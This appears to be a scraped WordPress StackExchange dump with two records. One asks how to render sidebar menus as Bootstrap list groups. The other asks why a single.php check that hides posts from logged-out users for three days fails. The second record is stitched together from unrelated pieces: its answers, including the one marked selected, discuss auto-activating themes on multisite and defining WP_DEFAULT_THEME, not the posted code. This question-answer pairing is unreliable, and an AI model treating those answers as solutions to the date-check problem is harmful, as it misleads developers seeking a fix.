**Note : Please note that I create this theme to re-sell, so I need little bit good way to add it.** This is how I register the menus on my right sidebar: ``` if(function_exists('register_sidebar')){ register_sidebar(array( 'name'=>'sidebar_default', 'before_widget' => '<div class="panel panel-info">', 'after_widget' => '</div>', 'before_title' => '<div class="panel-heading"><h4>', 'after_title' => '</h4></div>' )); } ``` And this is the output: ``` <div class="panel panel-info"> <div class="panel-heading"> <h4>Title</h4> </div> <div class="menu-openings-menu-container"> <ul id="menu-openings-menu" class="menu"> <li id="" class="menu-item-object-page menu-item-381"><a href="">Software</a></li> <li id="" class="menu-item-object-page menu-item-382"><a href="">Software</a></li> <li id="" class="menu-item-object-page menu-item-383"><a href="">Software</a></li> <li id="" class="menu-item-object-page menu-item-384"><a href="">Software</a></li> <li id="" class="menu-item-object-page menu-item-385"><a href="">Software</a></li> </ul> </div> </div> ``` and this is how do it need the output to be able to use Twitter Bootstrap list-styles styles: ``` <ul class="list-group"> <li class="list-group-item">Cras justo odio</li> <li class="list-group-item">Dapibus ac facilisis in</li> <li class="list-group-item">Morbi leo risus</li> <li class="list-group-item">Porta ac consectetur ac</li> <li class="list-group-item">Vestibulum at eros</li> </ul> ``` I appreciate all suggestions. Thanks. ![output](https://i.stack.imgur.com/qDuDi.png) ![Source code](https://i.stack.imgur.com/F1Xxd.png)
If you are dealing with just one site and not creating a theme maybe the easiest solution is to do it "manually". It is not the most "professional" way to do it, but it works. Take a text widget or the new html widget, paste your code, for example: ``` <ul class="list-group"> <li class="list-group-item">Cras justo odio</li> <li class="list-group-item">Dapibus ac facilisis in</li> <li class="list-group-item">Morbi leo risus</li> <li class="list-group-item">Porta ac consectetur ac</li> <li class="list-group-item">Vestibulum at eros</li> </ul> ``` and make the changes (to the links) manually.
282,918
<pre><code>if( ! is_user_logged_in() &amp;&amp; ( in_category( 'test2' ) || in_category( 'test1' ) ) &amp;&amp; ( current_time( 'Y-m-d' ) &lt;= get_the_date( 'Y-m-d', strtotime('+3 days') ) ) ){ echo 'sorry'; } else { the_content(); } </code></pre> <p>my code in single.php loop. but not working. can i help anyone?</p>
[ { "answer_id": 282925, "author": "Milan Petrovic", "author_id": 126702, "author_profile": "https://wordpress.stackexchange.com/users/126702", "pm_score": 2, "selected": true, "text": "<p>Unfortunately, no. For something like that to work, WordPress (or some plugin to do that) would need to scan themes folder for changes, and that can be performance intensive operation. Maybe with some sort of scheduled scan running every few minutes.</p>\n\n<p>I am not aware of any plugin that can do that.</p>\n" }, { "answer_id": 282931, "author": "Muhammad Abdullah", "author_id": 117908, "author_profile": "https://wordpress.stackexchange.com/users/117908", "pm_score": -1, "selected": false, "text": "<p>You can override the WordPress default theme by editing your wp-config.php file. Just add the following code anywhere before the line where WordPress includes the wp-settings.php file.</p>\n\n<p>Add this</p>\n\n<pre><code>1: define( 'WP_DEFAULT_THEME', 'your-default-theme' ); \n</code></pre>\n\n<p>Before </p>\n\n<pre><code>2: require_once(ABSPATH . 'wp-settings.php');\n</code></pre>\n\n<p>So when you will create a new subsite in multisite, it will automatically enable the theme defined in WP-CONFIG file.</p>\n\n<p>If theme is not availabe it will choose defauly twentyseventeen theme.</p>\n" }, { "answer_id": 408974, "author": "Derin Tolu", "author_id": 225248, "author_profile": "https://wordpress.stackexchange.com/users/225248", "pm_score": 0, "selected": false, "text": "<p>If you are adding 3 new themes per week, you mean you just want them to be network activated automically? Use-WP-cli to install and activate them or deploy them from github.</p>\n" } ]
2017/10/14
[ "https://wordpress.stackexchange.com/questions/282918", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129634/" ]
``` if( ! is_user_logged_in() && ( in_category( 'test2' ) || in_category( 'test1' ) ) && ( current_time( 'Y-m-d' ) <= get_the_date( 'Y-m-d', strtotime('+3 days') ) ) ){ echo 'sorry'; } else { the_content(); } ``` my code in single.php loop. but not working. can i help anyone?
Unfortunately, no. For something like that to work, WordPress (or some plugin to do that) would need to scan themes folder for changes, and that can be performance intensive operation. Maybe with some sort of scheduled scan running every few minutes. I am not aware of any plugin that can do that.